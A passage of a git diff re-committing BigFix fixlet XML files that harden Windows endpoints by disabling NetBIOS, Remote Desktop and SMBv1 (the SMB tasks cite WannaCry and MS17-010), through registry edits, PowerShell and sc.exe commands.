-    <SourceReleaseDate>2025-02-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 20 Feb 2025 10:00:05 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden powershell -ExecutionPolicy Bypass -command &quot;Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces\tcpip* -Name NetbiosOptions -Value 2&quot;
-action requires restart
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable NetBios On All Network Adaptors (Requires Restart)
+  ID       : 27372
+  Author   : justin.lamb
+  Domain   : BESC
+  Imported : 2025-02-20T04:01:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable NetBios On All Network Adaptors (Requires Restart)</Title>
+    <Description>Executes a powershell script to update the registry to disable NetBios on all network adaptors</Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-02-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 20 Feb 2025 10:00:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden powershell -ExecutionPolicy Bypass -command &quot;Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces\tcpip* -Name NetbiosOptions -Value 2&quot;
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Remote Desktop (RDP) (659).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Remote Desktop (RDP) (659).bes
index 441472210..15e34bb42 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Remote Desktop (RDP) (659).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Remote Desktop (RDP) (659).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Disable Remote Desktop (RDP)
-  ID       : 659
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-11-05T18:48:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Disable Remote Desktop (RDP)</Title>
-    <Description>Disable remote desktop settings in the registry. (RDP) </Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists value &quot;fDenyTSConnections&quot; whose (it = 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-11-05</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 06 Nov 2012 00:35:31 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000001
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action898">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about this setting.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/cc782195(v=ws.10).aspx</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable Remote Desktop (RDP)
+  ID       : 659
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-11-05T18:48:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable Remote Desktop (RDP)</Title>
+    <Description>Disable remote desktop settings in the registry. (RDP) </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists value &quot;fDenyTSConnections&quot; whose (it = 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-11-05</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 06 Nov 2012 00:35:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000001
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action898">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this setting.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/cc782195(v=ws.10).aspx</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24318).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24318).bes
index 04bdf2328..65b6a5113 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24318).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24318).bes	
@@ -1,56 +1,56 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012
-  ID       : 24318
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T13:10:12
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012</Title>
-    <Description><![CDATA[<SPAN itemprop="description">
-<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2012&quot; or name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it = 0) of native registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>brolly33</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 20:03:44 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
-
-// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012
+  ID       : 24318
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T13:10:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012&quot; or name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it = 0) of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 20:03:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24314).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24314).bes
index 1f0ae4b3c..1e8565b93 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24314).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24314).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008
-  ID       : 24314
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T10:54:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008</Title>
-    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.</P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it as integer = 0) of (native registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 17:28:12 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;SMB1&quot;=dword:00000000
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008
+  ID       : 24314
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T10:54:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008</Title>
+    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it as integer = 0) of (native registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 17:28:12 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;SMB1&quot;=dword:00000000
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Service - Windows (23443).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Service - Windows (23443).bes
index 8a3768d0e..a27c4b30f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Service - Windows (23443).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Service - Windows (23443).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Disable SMBv1 Service - Windows
-  ID       : 23443
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-02-14T15:28:37
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Disable SMBv1 Service - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating systems</Relevance>
-    <Relevance>not exists unique values whose(it contains &quot;mrxsmb10&quot;) of (it as string as lowercase) of values &quot;DependOnService&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation&quot; of (x64 registries;x32 registries)</Relevance>
-    <Relevance>exists unique values whose(it != 4) of (it as integer) of values &quot;Start&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of (x64 registries;x32 registries)</Relevance>
-    <Category>Configuration</Category>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 14 Feb 2017 23:27:38 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012
-waithidden sc.exe config mrxsmb10 start= disabled
-
-action requires restart &quot;SMBv1_DisableService&quot;
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable SMBv1 Service - Windows
+  ID       : 23443
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-02-14T15:28:37
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable SMBv1 Service - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating systems</Relevance>
+    <Relevance>not exists unique values whose(it contains &quot;mrxsmb10&quot;) of (it as string as lowercase) of values &quot;DependOnService&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation&quot; of (x64 registries;x32 registries)</Relevance>
+    <Relevance>exists unique values whose(it != 4) of (it as integer) of values &quot;Start&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of (x64 registries;x32 registries)</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 Feb 2017 23:27:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012
+waithidden sc.exe config mrxsmb10 start= disabled
+
+action requires restart &quot;SMBv1_DisableService&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24316).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24316).bes
index 60b95f631..ced7654f0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24316).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24316).bes	
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012
-  ID       : 24316
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T12:10:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012</Title>
-    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.<BR></P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win2012&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanWorkstation&quot; whose (exists value &quot;DependOnService&quot; whose (it as string as lowercase does not contain &quot;MRxSmb10&quot; as lowercase)of it) of native registry</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\mrxsmb10&quot; whose (value &quot;Start&quot; of it != 4) of native registry</Relevance>
-    <Category>workaround</Category>
-    <Source>brolly33</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 18:54:46 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-wait sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
-wait sc.exe config mrxsmb10 start= disabled</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012
+  ID       : 24316
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T12:10:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012</Title>
+    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.<BR></P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win2012&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanWorkstation&quot; whose (exists value &quot;DependOnService&quot; whose (it as string as lowercase does not contain &quot;MRxSmb10&quot; as lowercase)of it) of native registry</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\mrxsmb10&quot; whose (value &quot;Start&quot; of it != 4) of native registry</Relevance>
+    <Category>workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
